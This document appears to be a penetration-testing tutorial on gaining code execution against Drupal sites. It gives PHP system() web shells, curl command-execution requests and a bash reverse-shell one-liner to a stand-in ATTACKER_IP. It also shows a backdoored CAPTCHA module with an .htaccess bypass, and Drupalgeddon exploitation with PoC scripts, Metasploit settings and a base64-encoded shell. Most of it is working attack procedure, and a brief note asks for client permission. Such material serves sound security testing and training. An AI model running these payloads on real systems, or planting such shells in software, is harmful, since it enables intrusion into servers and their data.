Attacking Drupal

Once Drupal is identified and fingerprinted, focus on uncovering misconfigurations and vulnerabilities to gain code execution and internal network access.

In Drupal 7 and earlier, the PHP Filter module (when enabled) allows administrators to embed and execute arbitrary PHP code within page content. Unlike WordPress, directly editing theme files or uploading PHP scripts isn’t straightforward in Drupal, making the PHP Filter module a practical alternative.

Drupal 7 & Earlier

Step 1: Log in as admin and navigate to the modules page:

http://target.com/admin/modules

Enable the PHP Filter module by checking its checkbox and clicking Save Configuration.

Step 2: Create a new basic page for code execution:

Navigate: Content → Add content → Basic page

Step 3: Create the PHP payload. Use an MD5 hash as the parameter name (not common strings like cmd) to avoid “drive-by” attacks:

<?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?>

Step 4: In the page editor:

Paste the PHP code into the content area
Set Text format to “PHP code”
Click Save

Step 5: Execute commands via the page URL (e.g., /node/3):

curl -s http://target.com/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id | grep uid | cut -f4 -d">"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 6: Obtain a reverse shell using a bash one-liner:

curl 'http://target.com/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=bash%20-i%20%3E%26%20/dev/tcp/ATTACKER_IP/PORT%200%3E%261'

Drupal 8+

The PHP Filter module is not installed by default. To use this method:

Step 1: Download the PHP Filter module from Drupal:

wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

Step 2: Install the module:

Navigate: Administration > Reports > Available updates (or Extend menu in newer versions)
Click Browse and select the downloaded archive
Click Install

Step 3: Follow the same steps as Drupal 7 to create a malicious page and execute commands.

Important: Always obtain client permission before enabling modules. Remove or disable the PHP Filter module and delete any created pages after assessment completion.

Backdoored Module Upload

Drupal allows authenticated users with module management permissions to upload custom modules. This can be exploited by creating a backdoored version of a legitimate module.

Module Selection & Preparation

Step 1: Download a legitimate module from drupal.org. Example: CAPTCHA module:

wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz

Step 2: Create a PHP web shell in the module directory:

<?php
system($_GET['fe8edbabc5c5c9b7b764504cd22b17af']);
?>

Step 3: Create a .htaccess file to bypass Drupal’s directory restrictions:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>

Step 4: Add both files to the module directory and create an archive:

mv shell.php .htaccess captcha/
tar cvf captcha.tar.gz captcha/

Module Installation & Exploitation

Step 1: Upload and install the backdoored module:

Navigate: Manage > Extend > Install new module
Go to: http://target.com/admin/modules/install
Click Browse, select the backdoored archive, and click Install

Step 2: Once installed, access the shell:

curl -s http://target.com/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 3: Use the shell for further exploitation (e.g., reverse shell, privilege escalation).

Drupalgeddon Vulnerabilities

Drupal core has suffered from three major remote code execution vulnerabilities, collectively known as “Drupalgeddon.”

CVE-2014-3704 (Drupalgeddon)

Affected versions: Drupal 7.0–7.31 (fixed in 7.32)
Vulnerability: Pre-authenticated SQL injection in user registration form

Impact: Allows uploading malicious forms or creating admin accounts without authentication.

Exploitation:

python2.7 drupalgeddon.py -t http://target.com -u attacker -p password

Output:

[!] VULNERABLE!
[!] Administrator user created!
[*] Login: attacker
[*] Pass: password

Post-Exploitation:

Log in as the newly created admin user
Enable the PHP Filter module (if available)
Create a page with PHP code to gain RCE (see PHP Filter Module section)

Metasploit Alternative:

msf6> use exploit/multi/http/drupal_drupageddon
msf6> set RHOSTS target.com
msf6> set TARGETURI /
msf6> exploit

CVE-2018-7600 (Drupalgeddon2)

Affected versions: Drupal < 7.58 and < 8.5.1
Vulnerability: Remote code execution via insufficient input sanitization in user registration

Impact: Unauthenticated arbitrary code execution through form submission.

Exploitation:

Use a public PoC script:

python3 drupalgeddon2.py
# Enter: http://target.com/
# The script will upload a test file (hello.txt) to verify the vulnerability

Verification:

curl -s http://target.com/hello.txt
# Output: ;-)

RCE Payload:

Step 1: Encode the malicious PHP payload:

echo '<?php system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);?>' | base64
# Output: PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K

Step 2: Modify the exploit script to write the PHP shell instead of hello.txt:

echo "PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K" | base64 -d | tee shell.php

Step 3: Run the modified exploit to upload the shell:

python3 drupalgeddon2.py

Step 4: Execute commands:

curl http://target.com/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

CVE-2018-7602 (Drupalgeddon3)

Affected versions: Multiple versions of Drupal 7.x and 8.x
Vulnerability: Remote code execution via improper Form API validation
Requirements: Authenticated access with node deletion privileges

Impact: Authenticated users with basic permissions can execute arbitrary code.

Exploitation (Metasploit):

Step 1: Obtain a valid session cookie (requires valid user credentials):

SESSIONID=SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y

Step 2: Configure the Metasploit exploit:

msf6> use exploit/multi/http/drupal_drupageddon3
msf6> set RHOSTS 10.129.42.195
msf6> set VHOST drupal.target.com
msf6> set drupal_session SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y
msf6> set DRUPAL_NODE 1
msf6> set LHOST 10.10.14.15
msf6> set LPORT 4444
msf6> exploit